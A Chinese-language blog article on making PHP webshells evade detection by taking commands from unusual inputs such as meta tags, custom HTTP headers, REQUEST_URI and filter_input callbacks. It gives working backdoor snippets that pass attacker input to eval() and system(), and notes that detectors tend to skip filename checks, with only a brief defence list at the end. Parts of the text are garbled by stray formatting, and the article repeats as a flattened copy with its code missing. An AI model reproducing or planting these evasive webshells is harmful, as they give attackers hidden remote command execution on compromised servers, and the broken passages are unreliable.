webshell免杀之浅谈phpwebshell中如何控制传入内容
字数 1436 2025-08-30 06:50:35

PHP Webshell免杀技术:控制传入内容的方法详解

前言

在PHP Webshell的研究中,如何安全地控制外部传入参数是一个关键问题。本文将详细介绍几种控制传入内容的技术方法,重点研究如何实现参数的安全传入。

基础全局变量

PHP提供了多种获取外部传入数据的全局变量:

  1. $_GET

    • 用于收集通过URL查询字符串传递的数据
    • 示例:example.com/page.php?name=John&age=25中,$_GET['name']为"John"
  2. $_POST

    • 用于收集通过HTTP POST方法发送的数据
    • 常用于表单提交,如$_POST['username']
  3. $_COOKIE

    • 用于访问客户端存储的cookie数据
    • 示例:$_COOKIE['user']获取cookie值
  4. $_REQUEST

    • 合并了\(_GET、\)_POST和$_COOKIE中的数据
    • 若GET和POST有相同参数,优先返回POST值
  5. $_SERVER

    • 包含服务器和执行环境信息
    • 重要元素:$_SERVER['REQUEST_METHOD']$_SERVER['HTTP_USER_AGENT']
  6. $_FILES

    • 处理通过HTTP POST上传的文件信息
  7. $GLOBALS

    • 超级全局数组,包含所有全局变量

高级参数控制技术

1. 利用get_meta_tags函数

分析
get_meta_tags函数从一个文件中提取所有meta标签的content属性,返回数组。

Webshell示例

// 1.html内容如下:
// <meta name="cmd" content="system('whoami');" />

$meta = get_meta_tags('1.html');
eval($meta['cmd']);

2. 使用getallheaders函数

分析
getallheaders获取全部HTTP请求头信息,返回关联数组。

Webshell示例

$headers = getallheaders();
eval($headers['X-Cmd']);  // 通过X-Cmd头传入命令

3. 利用get_defined_vars函数

分析
get_defined_vars返回所有已定义变量组成的数组,包含$_SERVER等信息。

Webshell示例

$vars = get_defined_vars();
// 通过控制文件名或URI参数传入命令
eval($vars['_SERVER']['REQUEST_URI']);

4. 使用filter_input函数

分析
filter_input通过名称获取特定外部变量,并可应用过滤器处理。

参数类型

  • INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER或INPUT_ENV

Webshell示例

// 通过URL参数传入:?cmd=whoami
$cmd = filter_input(INPUT_GET, 'cmd', FILTER_UNSAFE_RAW);
system($cmd);

// 使用自定义回调函数
function evil($value) {
    system($value);
    return $value;
}
filter_input(INPUT_GET, 'cmd', FILTER_CALLBACK, ['options' => 'evil']);

高级技巧与注意事项

  1. $_SERVER的深入利用
    • $_SERVER['HTTP_ACCEPT']等HTTP头字段可作为参数传入点
    • 示例:`eval(

\[string1['HTTP_ACCEPT'])` 2. **文件名控制**: - 通过`$_SERVER['SCRIPT_NAME']`或`$_SERVER['REQUEST_URI']`获取文件名 - 在Webshell检测中通常忽略文件名检查 3. **过滤器的高级应用**: - 使用`FILTER_CALLBACK`设置自定义处理方法 - 通过options数组配置回调函数 4. **动态变量执行**: - 结合` \]

`语法实现动态变量名访问

  • 示例:`

\[dynamic_var`执行动态命令 ## 防御建议 1. 对所有外部输入进行严格过滤和验证 2. 禁用危险函数如`eval()`、`system()`等 3. 限制文件包含操作 4. 监控异常HTTP头字段 5. 定期更新Web应用防火墙规则 通过深入理解这些参数控制技术,安全研究人员可以更好地评估Web应用的安全性,同时开发人员也能更有效地防范潜在威胁。\]

PHP Webshell免杀技术:控制传入内容的方法详解 前言 在PHP Webshell的研究中,如何安全地控制外部传入参数是一个关键问题。本文将详细介绍几种控制传入内容的技术方法,重点研究如何实现参数的安全传入。 基础全局变量 PHP提供了多种获取外部传入数据的全局变量: $_ GET : 用于收集通过URL查询字符串传递的数据 示例: example.com/page.php?name=John&age=25 中, $_GET['name'] 为"John" $_ POST : 用于收集通过HTTP POST方法发送的数据 常用于表单提交,如 $_POST['username'] $_ COOKIE : 用于访问客户端存储的cookie数据 示例: $_COOKIE['user'] 获取cookie值 $_ REQUEST : 合并了$_ GET、$_ POST和$_ COOKIE中的数据 若GET和POST有相同参数,优先返回POST值 $_ SERVER : 包含服务器和执行环境信息 重要元素: $_SERVER['REQUEST_METHOD'] 、 $_SERVER['HTTP_USER_AGENT'] $_ FILES : 处理通过HTTP POST上传的文件信息 $GLOBALS : 超级全局数组,包含所有全局变量 高级参数控制技术 1. 利用get_ meta_ tags函数 分析 : get_meta_tags 函数从一个文件中提取所有meta标签的content属性,返回数组。 Webshell示例 : 2. 使用getallheaders函数 分析 : getallheaders 获取全部HTTP请求头信息,返回关联数组。 Webshell示例 : 3. 利用get_ defined_ vars函数 分析 : get_defined_vars 返回所有已定义变量组成的数组,包含$_ SERVER等信息。 Webshell示例 : 4. 使用filter_ input函数 分析 : filter_input 通过名称获取特定外部变量,并可应用过滤器处理。 参数类型 : INPUT_ GET, INPUT_ POST, INPUT_ COOKIE, INPUT_ SERVER或INPUT_ ENV Webshell示例 : 高级技巧与注意事项 $_ SERVER的深入利用 : $_SERVER['HTTP_ACCEPT'] 等HTTP头字段可作为参数传入点 示例: eval($$string1['HTTP_ACCEPT']) 文件名控制 : 通过 $_SERVER['SCRIPT_NAME'] 或 $_SERVER['REQUEST_URI'] 获取文件名 在Webshell检测中通常忽略文件名检查 过滤器的高级应用 : 使用 FILTER_CALLBACK 设置自定义处理方法 通过options数组配置回调函数 动态变量执行 : 结合 $$ 语法实现动态变量名访问 示例: $$dynamic_var 执行动态命令 防御建议 对所有外部输入进行严格过滤和验证 禁用危险函数如 eval() 、 system() 等 限制文件包含操作 监控异常HTTP头字段 定期更新Web应用防火墙规则 通过深入理解这些参数控制技术,安全研究人员可以更好地评估Web应用的安全性,同时开发人员也能更有效地防范潜在威胁。